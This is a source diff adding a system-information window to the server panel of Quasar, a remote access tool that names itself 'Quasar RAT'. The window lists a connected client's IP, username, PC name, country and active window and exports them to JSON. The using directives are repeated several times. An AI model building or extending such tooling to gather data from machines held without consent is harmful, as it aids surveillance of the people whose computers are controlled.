this.exportToJSONToolStripMenuItem.Name = "exportToJSONToolStripMenuItem"; + this.exportToJSONToolStripMenuItem.Size = new System.Drawing.Size(204, 26); + this.exportToJSONToolStripMenuItem.Text = "Export to JSON"; + this.exportToJSONToolStripMenuItem.Click += new System.EventHandler(this.exportToJSONToolStripMenuItem_Click); + // + // toolStripMenuItem2 + // + this.toolStripMenuItem2.Name = "toolStripMenuItem2"; + this.toolStripMenuItem2.Size = new System.Drawing.Size(201, 6); + // + // refreshToolStripMenuItem + // + this.refreshToolStripMenuItem.Image = global::Quasar.Server.Properties.Resources.refresh; + this.refreshToolStripMenuItem.Name = "refreshToolStripMenuItem"; + this.refreshToolStripMenuItem.Size = new System.Drawing.Size(204, 26); + this.refreshToolStripMenuItem.Text = "Refresh"; + this.refreshToolStripMenuItem.Click += new System.EventHandler(this.refreshToolStripMenuItem_Click); + // + // FrmSystemInformation + // + this.AutoScaleDimensions = new System.Drawing.SizeF(120F, 120F); + this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Dpi; + this.ClientSize = new System.Drawing.Size(700, 419); + this.Controls.Add(this.lstSystem); + this.Font = new System.Drawing.Font("Segoe UI", 8.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon"))); + this.Margin = new System.Windows.Forms.Padding(4, 4, 4, 4); + this.MinimumSize = new System.Drawing.Size(716, 455); + this.Name = "FrmSystemInformation"; + this.StartPosition = System.Windows.Forms.FormStartPosition.CenterScreen; + this.Text = "System Information []"; + this.FormClosing += new System.Windows.Forms.FormClosingEventHandler(this.FrmSystemInformation_FormClosing); + this.Load += new System.EventHandler(this.FrmSystemInformation_Load); + this.contextMenuStrip.ResumeLayout(false); + this.ResumeLayout(false); + + } + + #endregion + + private System.Windows.Forms.ColumnHeader hComponent; + private System.Windows.Forms.ColumnHeader hValue; + private System.Windows.Forms.ContextMenuStrip contextMenuStrip; + private System.Windows.Forms.ToolStripMenuItem copyToClipboardToolStripMenuItem; + private AeroListView lstSystem; + private System.Windows.Forms.ToolStripMenuItem copyAllToolStripMenuItem; + private System.Windows.Forms.ToolStripMenuItem copySelectedToolStripMenuItem; + private System.Windows.Forms.ToolStripMenuItem exportToJSONToolStripMenuItem; + private System.Windows.Forms.ToolStripSeparator toolStripMenuItem2; + private System.Windows.Forms.ToolStripMenuItem refreshToolStripMenuItem; + } +} \ No newline at end of file diff --git a/Quasar-1.4.1/Quasar.Server/Forms/FrmSystemInformation.cs b/Quasar-1.4.1/Quasar.Server/Forms/FrmSystemInformation.cs new file mode 100755 index 0000000..9dc84b6 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Server/Forms/FrmSystemInformation.cs @@ -0,0 +1,298 @@ +using System; +using System.Collections.Generic; +using System.Linq; +using System.Windows.Forms; +using Quasar.Common.Messages; +using Quasar.Server.Forms.DarkMode; +using Quasar.Server.Models; +using Quasar.Server.Extensions; +using Quasar.Server.Forms.DarkMode; +using Quasar.Server.Models; +using Quasar.Server.Helper; +using Quasar.Server.Forms.DarkMode; +using Quasar.Server.Models; +using Quasar.Server.Messages; +using Quasar.Server.Forms.DarkMode; +using Quasar.Server.Models; +using Quasar.Server.Networking; +using Quasar.Server.Forms.DarkMode; +using Quasar.Server.Models; +using Quasar.Server.Utilities; +using System.IO; +using System.Text; + +namespace Quasar.Server.Forms +{ + public partial class FrmSystemInformation : Form + { + /// + /// The client which can be used for the system information. + /// + private readonly Client _connectClient; + + /// + /// The message handler for handling the communication with the client. + /// + private readonly SystemInformationHandler _sysInfoHandler; + + /// + /// Holds the opened system information form for each client. + /// + private static readonly Dictionary OpenedForms = new Dictionary(); + + /// + /// Creates a new system information form for the client or gets the current open form, if there exists one already. + /// + /// The client used for the system information form. + /// + /// Returns a new system information form for the client if there is none currently open, otherwise creates a new one. + /// + public static FrmSystemInformation CreateNewOrGetExisting(Client client) + { + if (OpenedForms.ContainsKey(client)) + { + return OpenedForms[client]; + } + FrmSystemInformation f = new FrmSystemInformation(client); + f.Disposed += (sender, args) => OpenedForms.Remove(client); + OpenedForms.Add(client, f); + return f; + } + + /// + /// Initializes a new instance of the class using the given client. + /// + /// The client used for the remote desktop form. + public FrmSystemInformation(Client client) + { + _connectClient = client; + _sysInfoHandler = new SystemInformationHandler(client); + + RegisterMessageHandler(); + InitializeComponent(); + } + + /// + /// Registers the system information message handler for client communication. + /// + private void RegisterMessageHandler() + { + _connectClient.ClientState += ClientDisconnected; + _sysInfoHandler.ProgressChanged += SystemInformationChanged; + MessageHandler.Register(_sysInfoHandler); + } + + /// + /// Unregisters the system information message handler. + /// + private void UnregisterMessageHandler() + { + MessageHandler.Unregister(_sysInfoHandler); + _sysInfoHandler.ProgressChanged -= SystemInformationChanged; + _connectClient.ClientState -= ClientDisconnected; + } + + /// + /// Called whenever a client disconnects. + /// + /// The client which disconnected. + /// True if the client connected, false if disconnected + private void ClientDisconnected(Client client, bool connected) + { + if (!connected) + { + this.Invoke((MethodInvoker)this.Close); + } + } + + private void FrmSystemInformation_Load(object sender, EventArgs e) + { + if (Settings.DarkMode) { DarkModeManager.ApplyDarkMode(this); } + ThemeManager.ApplyThemeToNewForm(this); + this.Text = WindowHelper.GetWindowTitle("System Information", _connectClient); + _sysInfoHandler.RefreshSystemInformation(); + AddBasicSystemInformation(); + } + + private void FrmSystemInformation_FormClosing(object sender, FormClosingEventArgs e) + { + UnregisterMessageHandler(); + } + + private void SystemInformationChanged(object sender, List> infos) + { + // remove "Loading..." information + lstSystem.Items.RemoveAt(2); + + foreach (var info in infos) + { + var lvi = new ListViewItem(new[] {info.Item1, info.Item2}); + lstSystem.Items.Add(lvi); + } + + lstSystem.AutosizeColumns(); + } + + private void copyAllToolStripMenuItem_Click(object sender, EventArgs e) + { + if (lstSystem.Items.Count == 0) return; + + string output = string.Empty; + + foreach (ListViewItem lvi in lstSystem.Items) + { + output = lvi.SubItems.Cast().Aggregate(output, (current, lvs) => current + (lvs.Text + " : ")); + output = output.Remove(output.Length - 3); + output = output + "\r\n"; + } + + ClipboardHelper.SetClipboardTextSafe(output); + } + + private void copySelectedToolStripMenuItem_Click(object sender, EventArgs e) + { + if (lstSystem.SelectedItems.Count == 0) return; + + string output = string.Empty; + + foreach (ListViewItem lvi in lstSystem.SelectedItems) + { + output = lvi.SubItems.Cast().Aggregate(output, (current, lvs) => current + (lvs.Text + " : ")); + output = output.Remove(output.Length - 3); + output = output + "\r\n"; + } + + ClipboardHelper.SetClipboardTextSafe(output); + } + + private void refreshToolStripMenuItem_Click(object sender, EventArgs e) + { + lstSystem.Items.Clear(); + _sysInfoHandler.RefreshSystemInformation(); + AddBasicSystemInformation(); + } + + private void exportToJSONToolStripMenuItem_Click(object sender, EventArgs e) + { + if (lstSystem.Items.Count == 0) return; + + // Get client-specific folder + string clientFolder = ClientDataManager.GetClientFolder(_connectClient, "SystemInfo"); + string defaultFileName = ClientDataManager.GenerateTimestampedFilename("SystemInfo", ".json"); + string defaultPath = Path.Combine(clientFolder, defaultFileName); + + using (SaveFileDialog saveFileDialog = new SaveFileDialog()) + { + saveFileDialog.Filter = "JSON files (*.json)|*.json|All files (*.*)|*.*"; + saveFileDialog.FilterIndex = 1; + saveFileDialog.RestoreDirectory = true; + saveFileDialog.InitialDirectory = clientFolder; + saveFileDialog.FileName = defaultFileName; + + if (saveFileDialog.ShowDialog() == DialogResult.OK) + { + try + { + ExportToJSON(saveFileDialog.FileName); + MessageBox.Show($"System information exported successfully to:\n{saveFileDialog.FileName}", + "Export Successful", MessageBoxButtons.OK, MessageBoxIcon.Information); + } + catch (Exception ex) + { + MessageBox.Show($"Failed to export system information:\n{ex.Message}", + "Export Failed", MessageBoxButtons.OK, MessageBoxIcon.Error); + } + } + } + } + + private void ExportToJSON(string filePath) + { + var sb = new StringBuilder(); + sb.AppendLine("{"); + sb.AppendLine(" \"exportInfo\": {"); + sb.AppendLine($" \"exportDate\": \"{DateTime.Now:yyyy-MM-dd HH:mm:ss}\","); + sb.AppendLine($" \"exportedBy\": \"Quasar RAT\""); + sb.AppendLine(" },"); + sb.AppendLine(" \"clientInfo\": {"); + sb.AppendLine($" \"ipAddress\": \"{_connectClient.EndPoint.Address}\","); + sb.AppendLine($" \"port\": {_connectClient.EndPoint.Port},"); + sb.AppendLine($" \"tag\": \"{EscapeJSON(_connectClient.Value.Tag)}\","); + sb.AppendLine($" \"username\": \"{EscapeJSON(_connectClient.Value.Username)}\","); + sb.AppendLine($" \"pcName\": \"{EscapeJSON(_connectClient.Value.PcName)}\","); + sb.AppendLine($" \"userAtPc\": \"{EscapeJSON(_connectClient.Value.UserAtPc)}\","); + sb.AppendLine($" \"version\": \"{EscapeJSON(_connectClient.Value.Version)}\","); + sb.AppendLine($" \"operatingSystem\": \"{EscapeJSON(_connectClient.Value.OperatingSystem)}\","); + sb.AppendLine($" \"accountType\": \"{EscapeJSON(_connectClient.Value.AccountType)}\","); + sb.AppendLine($" \"country\": \"{EscapeJSON(_connectClient.Value.Country)}\","); + sb.AppendLine($" \"countryCode\": \"{EscapeJSON(_connectClient.Value.CountryCode)}\","); + sb.AppendLine($" \"id\": \"{EscapeJSON(_connectClient.Value.Id)}\","); + sb.AppendLine($" \"activeWindow\": \"{EscapeJSON(_connectClient.Value.ActiveWindow)}\","); + sb.AppendLine($" \"connectedTime\": \"{_connectClient.ConnectedTime:yyyy-MM-dd HH:mm:ss} UTC\""); + sb.AppendLine(" },"); + sb.AppendLine(" \"systemInformation\": {"); + + for (int i = 0; i < lstSystem.Items.Count; i++) + { + ListViewItem lvi = lstSystem.Items[i]; + if (lvi.SubItems.Count >= 2) + { + string key = lvi.SubItems[0].Text; + string value = lvi.SubItems[1].Text; + + // Skip empty keys or "Loading..." messages + if (string.IsNullOrWhiteSpace(key) || key.Contains("Getting more information")) + continue; + + // Create a safe JSON key from the component name + string jsonKey = key.Replace(" ", "_").Replace("(", "").Replace(")", "").Replace("/", "_"); + + sb.Append($" \"{jsonKey}\": \"{EscapeJSON(value)}\""); + + // Add comma if not the last item + if (i < lstSystem.Items.Count - 1) + sb.AppendLine(","); + else + sb.AppendLine(); + } + } + + sb.AppendLine(" }"); + sb.AppendLine("}"); + + File.WriteAllText(filePath, sb.ToString()); + } + + private string EscapeJSON(string text) + { + if (string.IsNullOrEmpty(text)) + return ""; + + return text + .Replace("\\", "\\\\") + .Replace("\"", "\\\"") + .Replace("\n", "\\n") + .Replace("\r", "\\r") + .Replace("\t", "\\t"); + } + + /// + /// Adds basic system information which is already available to the ListView. + /// + private void AddBasicSystemInformation() + { + ListViewItem lvi = + new ListViewItem(new[] {"Operating System", _connectClient.Value.OperatingSystem}); + lstSystem.Items.Add(lvi); + lvi = + new ListViewItem(new[] + { + "Architecture", + (_connectClient.Value.OperatingSystem.Contains("32 Bit")) ? "x86 (32 Bit)" : "x64 (64 Bit)" + }); + lstSystem.Items.Add(lvi); + lvi = new ListViewItem(new[] {"", "Getting more information..."}); + lstSystem.Items.Add(lvi); + } + } +} \ No newline at end of file diff --git a/Quasar-1.4.1/Quasar.Server/Forms/FrmSystemInformation.resx b/Quasar-1.4.1/Quasar.Server/Forms/FrmSystemInformation.resx new file mode 100755 index 0000000..b8bc596 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Server/Forms/FrmSystemInformation.resx @@ -0,0 +1,662 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + 17, 17 + + + + + AAABAAQAEBAAAAAAIABoBAAARgAAACAgAAAAACAAqBAAAK4EAAAwMAAAAAAgAKglAABWFQAAQEAAAAAA + IAAoQgAA/joAACgAAAAQAAAAIAAAAAEAIAAAAAAAQAQAAAAAAAAAAAAAAAAAAAAAAAD///8B////Af// + /wH///8B////Af///wE/LyhBOSkiyzkpIslBMSo9////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////AUg4MSE6KiOrNycg/T4uJ/87KyT/Nycg/TsrJKdKOjMf////Af///wH///8B////Af// + /wH///8BXExFCzsrJIE3JyD1OSki/zkpIv9PQDr/Szs1/zkpIv84KCH/Nycg8zsrJH0/LygL////Af// + /wH///8BPCwlVTcnIOE4KCH/OCgh/zcnIP81JR7/YVRP/1pMRv82Jh//OCgh/zgoIf84KCH/OCgh3zws + JVH///8BWUlCJTcnIPc4KCH/QzQt/4B1cP+Dd3L/fnJt/6uioP+jmpb/bF9Z/2pcVf9jVU7/PCwl/zgo + If84KCHza1tUH1NDPCs3JyD7eGtm/4J2cv87KyT/MSEa/z8vKP+vpqL/q6Ke/z0tJ/82JyD/NSUe/1pL + Rf9QQDr/OCgh9W5eVyNTQzwrNiYf+4h8eP83JyD/YFBJ/7yspf+woZv/iXt1/41+d/+Gdm7/bl5X/0Ex + Kv84KCH/U0M8/zUlHvVuXlcjU0M8KzcnIPs1JB3/c2Nc/5CAef/IuLH/qaGf//7+/v/+/v7/3dXR/6ub + lP/Nvbb/WUlC/04+N/84KCH1bl5XI1NDPCs4KCH7OCgh/35uZ/+Tg3z/hHRu/5SIg//9/f3//v39/97S + zP9pWVP/0sK7/1dHQP83JyD/OSki9W5eVyNTQzwrOCgh+zkpIv82Jh//YFBJ/5mJgv+zopv/6+bj/9vW + 1P9pWFH/eGhi/0w8Nf83JyD/OSki/zkpIvVuXlcjU0M8KzgoIfs5KSL/OCgh/zwsJf84KCH/NiYf/5GI + hP+MgX3/Nycg/zgoIf9aTEb/WUtG/zkpIv85KSL1bl5XI1ZGPyc4KCH5OCgh/zgoIf+upqP/TT85/zgo + If9uYl3/aVxX/zgoIf84KCH/kIaC/5CGgv84KCH/OCgh83BgWSGHd3ADPi4nYTgoIek4KCH/Sjs0/zUl + Hv84KCH/WUtF/1FDPf9BMSr/loyI/zsrJP88LCX/OSki5z4uJ13///8B////Af///wFKOjMROyskjTgo + Ifk4KCH/OSki/0Y2L/9DMyz/OCgh/zUlHv84KCH5Oioji1NDPA////8B////Af///wH///8B////Af// + /wFGNi8pOCghtTgoIf84KCH/OCgh/zcnIP06KiOxQTEqJ////wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wE8LCVJOCgh0zgoIdE+LidH////Af///wH///8B////Af///wH///8BAAD//wAA + //8AAP//AAD//wAA//8AAP//AAD//wAA//8AAP//AAD//wAA//8AAP//AAD//wAA//8AAP//AAD//ygA + AAAgAAAAQAAAAAEAIAAAAAAAgBAAAAAAAAAAAAAAAAAAAAAAAAD///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8Bbl5XBUY2L105KSLTOioj0U09NlVWRj8D////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////AU8/ODs6KiPBNSUe/zkpIv83JyD/NCQd/Toq + I7tZSUI1////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////AWtbVB8+LiedNiYf9zcnIP85KSL/OSki/zcn + IP83JyD/NiYf/zUlHvVCMiubZVVOGf///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////AVJCOwlHNzB3Nycg7zYmH/85KSL/OCgh/zkp + Iv9NPTb/RTUu/zgoIf84KCH/OCgh/zYmH/83JyDrSTkycWNTTAf///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////AUs7NANPPzhROCgh1zUlHv85KSL/OSki/zkp + Iv85KSL/OSki/1xNRv9XR0D/OSki/zkpIv85KSL/OSki/zgoIf80JB3/Oioj0UExKkVgUEkD////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wFcTEUtPS0mtTMjHP04KCH/OCgh/zkp + Iv85KSL/OSki/zkpIv83KCH/cGNe/2FUT/85KSL/OSki/zkpIv85KSL/OSki/zgoIf84KCH/NSUe/UAw + KbE/Lygn////Af///wH///8B////Af///wH///8B////Af///wFUQzwVQTEqkzMjHPU3JyD/OCgh/zkp + Iv85KSL/OSki/zkpIv85KSL/OCgh/zMjHP+Ngnz/eGtl/zYmH/85KSL/OSki/zkpIv85KSL/OSki/zkp + Iv85KSL/Nycg/zUlHvNAMCmNTz84E////wH///8B////Af///wGyopsDSTkyVTUlHuU1JR7/OSki/zgo + If84KCH/OCgh/zgoIf83JyD/NSUe/zQkHf8xIBn/JRYQ/56Wk/+Sh4P/KRgS/zMiG/81JR7/Nycf/zgo + If84KCH/OCgh/zkpIv85KSL/OCgh/zYmH/83JyDjRjYvTf///wH///8B////AWNTTD82Jh/pOCgh/zkp + Iv85KSL/OSki/zUkHf8sHBT/OSkh/1pKRP+He3b/pp6a/7KrqP+1ran/6eXk/+Da2P+upJ//opiU/46B + fP9uYFr/Szw2/zMjHP8xIBn/OCgh/zkpIv85KSL/OSki/zgoIf81JR7haFhRM////wH///8BUUE6VTgo + IfU4KCH/OSki/zYmH/8vHRb/cWRf/8K7uP/Y09H/raWh/4B0b/9cTEb/RDQs/yoZFP/k4N7/2NPR/ykX + D/85KSL/SToz/2ZXUP+JfHb/npGL/4t/ev9QQTr/Lh4W/zkpIv84KCH/OSki/zgoIe1uXldF////Af// + /wFTQzxTNycg9TgoIf8wIBj/X09J/9rW1P+upqL/UUI7/y0cFP8sHBT/MyMc/zkpIv87KyT/SDgw//n4 + 9//18/P/PCwl/zssJf85KSP/OSki/zIiG/8sHBT/OCgg/21gWf+UiIL/Py8n/zYnIP85KSL/OCgh625e + V0P///8B////AVNDPFM3JyD1NSUf/21fWf/k4N//U0M8/y0cFP83Jh//OCgh/zIiG/8zIxz/Py8o/0k4 + Mv+HeXX/9e7r//n08f+CdXH/Rzcw/zoqI/84KCH/OCgh/zcnIP85KSL/NCQd/zIhGv+JeXP/RDQt/zkp + Iv84KCHrbl5XQ////wH///8BU0M8UzgoIfUzIhv/4dzb/1JCPf82Jh//OCgh/zYmH/9AMCn/lYV+/8Cw + qf/Pv7j/3c3G/8Gxqv+Id3H/X05H/1REPv9MPDX/Oioj/zEhGv8vHxj/NCQd/zgoIf85KSL/OSki/y4e + F/+Ab2n/MyMc/zgoIetuXldD////Af///wFTQzxTOCgh9TYnIP+7sq//MSAZ/zcnIP82Jh//Pi4n/8y8 + tf/QwLn/zLy1/8W1rv9RQj//UUM+/4yAfP+6raj/x7ix/8a1rf/Lu7T/uqqj/56Oh/9nV1D/MyMc/zcn + IP84KCH/Lx8Y/3FhWv8xIRr/OCgh625eV0P///8B////AVNDPFM3JyD1OCgh/y0cFP85KSL/QjIr/3Zm + X/9pWVL/1cW+/8y8tf/Ovrf/RTg0/8rEwf/+/f3///7+///////+/f3/7+jl/6SUjP/Nvbb/0MC5/9XF + vv/EtK3/Rzcw/zYmH/9FNS7/X09I/zgoIf84KCHrbl5XQ////wH///8BU0M8UzcnIPU4KCH/OCgh/zUl + Hv9tXVb/p5eQ/zgoIf/Lu7T/z7+4/7ioof+WjIj///7+///+/v/////////////+/v//////4dnV/1FA + Ov+/r6j/zb22/86+t/+snJX/PS0m/19PSP80JB3/OSki/zgoIetuXldD////Af///wFTQzxTNycg9Tgo + If85KSL/Nycg/1lJQv/czMX/eWli/zUlIP+Ccmz/t6eg/6KTjP/39vX///////////////////////z5 + +f/YycL/fm5n/2JSTP/Vxb7/zb22/6ublP8xIRr/NSUe/zgoIf85KSL/OCgh625eV0P///8B////AVND + PFM3JyD1OCgh/zkpIv85KSL/MCAZ/5SEff/ezsf/wbGq/39vaf9aSkT/Tz84/2lZUv/6+fj///7+///+ + /v/8+/r/0MC5/9TFvv9BMSv/hHRt/9fHwP/Pv7j/Sjoz/zcnIP84KCH/OCgh/zkpIv84KCHrbl5XQ/// + /wH///8BU0M8UzcnIPU4KCH/OSki/zkpIv84KCH/MCAZ/2ZWT/+1pZ7/2srD/97Ox//by8T/08K6/+/o + 5P///v7///7+//Lr5/+9rKX/Tz84/29gW//UxL3/kIB5/zsrJP82Jh//OCgh/zkpIv85KSL/OSki/zgo + IetuXldD////Af///wFTQzxTNycg9TgoIf85KSL/OSki/zgoIf84KCH/NSUe/zAgGf9ENC3/ZlZP/4V1 + bv+YiIH/vrKt//////////7/fnBs/zQkHf9jU03/ZVVO/zkpIv8wIBn/NiYf/zYmH/84KCH/OSki/zkp + Iv85KSL/OCgh625eV0P///8B////AVNDPFM3JyD1OCgh/zkpIv85KSL/OSki/zkpIv85KSL/OCgh/zgo + If83JyD/NCQd/zMjHP8+Lin/9/b2//Py8f84JyD/OCgh/zYmH/83JyD/OCgh/zgoIf9PQDr/Tj44/zkp + Iv85KSL/OSki/zkpIv84KCHrbl5XQ////wH///8BU0M8UzcnIPU4KCH/OSki/zkpIv85KSL/OCgh/zgp + If9HNjD/Nych/zgoIf84KCH/OCgh/y0cFP/k4N7/2NPR/ysaE/84KCH/OCgh/zkpIv85KSL/KxsV/7Sr + qf+1rKr/KxsV/zkpIv85KSL/OSki/zgoIetuXldD////Af///wFRQTpVNycg9TgoIf85KSL/OSki/zkp + Iv84KCH/TkA8/9jRzv9AMy7/Nycg/zkpIv84KCH/KhkS/8C4tf+yqqb/LR0W/zkpIv85KSL/OSki/zUl + Hv9wYlv//v39//79/f9vYVv/NSUe/zkpIv85KSL/OCgh7W1dVkX///8B////AVpKQ0U3JyDtOSki/zkp + Iv84KCH/OSki/zcnIP+nnZj/7uvp/46EgP8xIBn/OSki/zkpIv8vHxj/oJeU/5SJhP8xIRv/OSki/zYm + H/8+Lif/NSQd/ywcFv+nnpr/p56a/ywcFv85KSL/OSki/zkpIv83JyDlc2NcOf///wH///8Bh3dwBUU1 + Lmc3JyDzNycg/zgoIf85KSL/OCgh/zEgGv+Ngn3/LBsV/zkpIv85KSL/OSki/zMjHP+Lf3r/dWlk/zYn + IP86KiP/U0Q///n49/91Z2L/MyMc/0o6M/9IODL/OSki/zkpIv83JyD/NCQd70o6M1+jk4wD////Af// + /wH///8B////AVVFPiU/LyipNiYf+zgoIf84KCH/OCgh/zEhGv85KSL/OCgh/zkpIv84KCH/OCgh/29i + Xf9hU0//Oioj/zkpIv89LCX/n5aS/0o8Nf84KCH/NyYg/zYmH/84KCH/NSUe+UIyK6NeTkch////Af// + /wH///8B////Af///wH///8B////Af///wFJOTJBOyskyTQkHf85KSL/OSki/zkpIv85KSL/OSki/zkp + Iv85KSL/W0tF/1ZHQP85KSL/OSki/zgpIv8uHhb/Nycg/zkpIv85KSL/NSUe/zsrJMdSQjs7////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wFpWVIHSjozZTcnIOc3JyD/OCgh/zgo + If85KSL/OSki/zkpIv9LOzT/RjYv/zgoIf85KSL/OCgh/zcnIP84KCH/Nycg/zoqI+VFNS5deGhhBf// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8BTz84E0Q0 + LY00JB31NiYf/zkpIv85KSL/OSki/zkpIv83JyD/OCgh/zkpIv84KCH/Nycg/zgoIfM+LyiFWEhBEf// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////AUExKi0/LyizNSUe+zgoIf84KCH/OCgh/zgoIf84KCH/OCgh/zQkHfs+LierSDgyKf// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////AV1NRgNBMSpHOiojzzMjHP84KCH/OCgh/zQkHf86KiPNRzcwQ/// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wFVRT4JSjozbzYmH+E4KCHfQjIraUg4 + MQn///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8BAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAoAAAAMAAAAGAAAAABACAAAAAAAIAlAAAAAAAAAAAAAAAAAAAAAAAA////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wFuXlYDUEA5Kz8vKHs8LCXNPy8oyUY2L3NURD0lVkY/A////wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////AUU1LhVGNi9ZPS0mwzQkHfc2Jh//NSUe/zYmH/U7KyS7RTUuT0o6MxP///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8BV0dAQz4uJ6M2Jh/nNSUe/zgoIf85KSH/Nycg/zcnIP82Jh/9Nycg40U1 + Lp1VRT45////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8Ba1tUCVNDPDVDMyyNOSki7zMjHP83JyD/OSki/zkpIv84KCH/Nycg/zgo + If83JyD/NiYf/zIiG/83JyDpRTUui1hIQTFjU0wH////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wFeTkcbRDQteT0tJs81JR75NSUe/zgoIf83KCH/OSki/zYm + H/9JOTL/Py8o/zYmH/83JyD/Nycg/zcnIP82Jh//NSUe+TwsJcdCMitxaFdRF////wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8BUkI6B1JCO0lAMCmzNSUe8zYmH/84KCH/OSki/zgo + If84KCH/OCgh/zEhGv9jU0z/WEhB/zIiG/84KCH/OCgh/zgoIf84KCH/OCgh/zYmH/82Jh/xQDApr1pK + Q0NjU0wF////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////AVREPQ1TQzw5QDApsTMjHPM1JR7/OSki/zkp + Iv85KSL/OSki/zkpIv85KSL/OCgh/y0dFv94aWL/cF9Y/y0dFv85KSL/OSki/zkoIf85KSL/OSki/zko + If84KCH/NCQd/zMjHPFFNS6pRTUuMUc3MAv///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wGAb2gDUUE6LzwsJYM6KiPXNSUe/zcn + IP84KCH/OSkh/zkpIv85KCH/OSkh/zkpIv85KCH/OCki/ysaE/+He3b/f3Bq/ysaFP84KCH/OCgi/zkp + Iv85KCH/OCgi/zkpIv84KCH/OCgh/zcnIP80JB3/NiYfz0ExKntcTEUr////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////AVhIQQ9cTEVVPCwlzTQk + HfM2Jh//OCgh/zgoIf84KCH/OSkh/zgoIf85KSH/OSkh/zgoIf85KSH/Nycg/ysbE/+dk4//h3x4/ygY + Ef85KSL/OSki/zkpIv85KSL/OSki/zkpIv85KSL/OCgh/zgoIf84KCH/Nycg/zYmH/M8LCXJPCwlTVJD + Owv///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wFUQzwRTDw1Vzkp + IrswIBn3NSUe/zgoIf84KCH/OSki/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zkpIv84KCH/NiYf/y8f + F/+3rqr/m5KN/ywbFP83KCH/OSki/zkoIf85KSL/OSki/zkoIf85KSL/OSki/zkoIf85KSL/OSki/zkp + Iv81JR7/NCQd9z8vKLdGNi9PTz83D////wH///8B////Af///wH///8B////Af///wH///8BXExFB0s7 + NDc7KySPOSki6zUlHv03JyD/OCgh/zgoIf84KCH/OSkh/zkpIv85KCH/OCgh/zgoIf84KCH/OSkh/zkp + Iv84KCH/NSQd/zQjHP/Dvbn/sqii/zEgGP82JiD/OCgh/zgoIf84KCH/OCgh/zgoIf84KCH/OCgh/zkp + Iv85KCH/OCgi/zkpIv85KSL/Nycg/zUlHv02Jh/lPy8oiUg4MTNFNS0F////Af///wH///8B////Af// + /wGyopsFWkpDVTMjHM80JB33NiYf/zgoIf85KSL/OCgh/zkpIv84KCH/Nycg/zgoIf84KCH/Nycg/zUl + Hf80JBz/MiIb/zAfGP8sHBT/JhYQ/y8iHv/KxsT/wLq3/ykZFP8oGBH/Lx8Y/zIiG/80JB3/NiYe/zcn + IP84KCH/OCgh/zcnIP84KCH/OSki/zkpIv85KSL/OCgh/zgoIf83JyD/NiYf9zcnIMlPPzhJWUpDA/// + /wH///8B////Af///wFuXldRPi4n1TAgGf84KCH/OSki/zkpIv85KSL/OSki/zkpIv82Jh//MSEa/zAg + GP81JR3/Pi0m/0s7Nf9kVU7/d2tl/4Z8d/+TiIT/m5CL/7Cmov/u7Or/5+Ti/6CTj/+TiIT/gnZx/3Nm + 